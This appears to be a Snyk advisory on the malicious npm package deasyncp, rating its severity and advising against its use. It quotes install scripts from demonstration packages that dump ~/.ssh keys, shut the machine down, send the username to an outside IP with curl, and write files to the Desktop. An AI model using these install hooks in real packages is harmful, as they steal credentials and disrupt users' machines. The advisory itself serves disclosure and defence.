Malicious Package Affecting deasyncp package, versions *
Snyk CVSS
Attack Complexity
Low
User Interaction
Required
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Mature
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Test your applications- Snyk ID npm:deasyncp:20170917
- published 17 Sep 2017
- disclosed 8 Aug 2017
- credit Jordan Wright
How to fix?
Avoid usage of this package altogether.
Overview
deasyncp
is a malicious package that is used to demonstrate or test malicious install scripts. These scripts can send your local ssh file to an attacker, or download malicious files and run them in the background.
This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.
The list of packages and their scripts are:
{
"name": "maybemaliciouspackage",
"scripts": {
"postinstall": "find ~/.ssh | xargs cat || true && echo '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\n\n\n\n'"
}
},
{
"name": "deasyncp",
"scripts": {
"preinstall": "say U WOT M8; shutdown -s now"
}
},
{
"name": "harmlesspackage",
"scripts": {
"postinstall": "echo '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThanks for your SSH keys :)' && curl -X GET http://1.3.3.7:1337/\\?$(whoami)"
}
},
{
"name": "npm-exploit",
"scripts": {
"install": "mkdir -p ~/Desktop/sploit && touch ~/Desktop/sploit/haxx"
}
}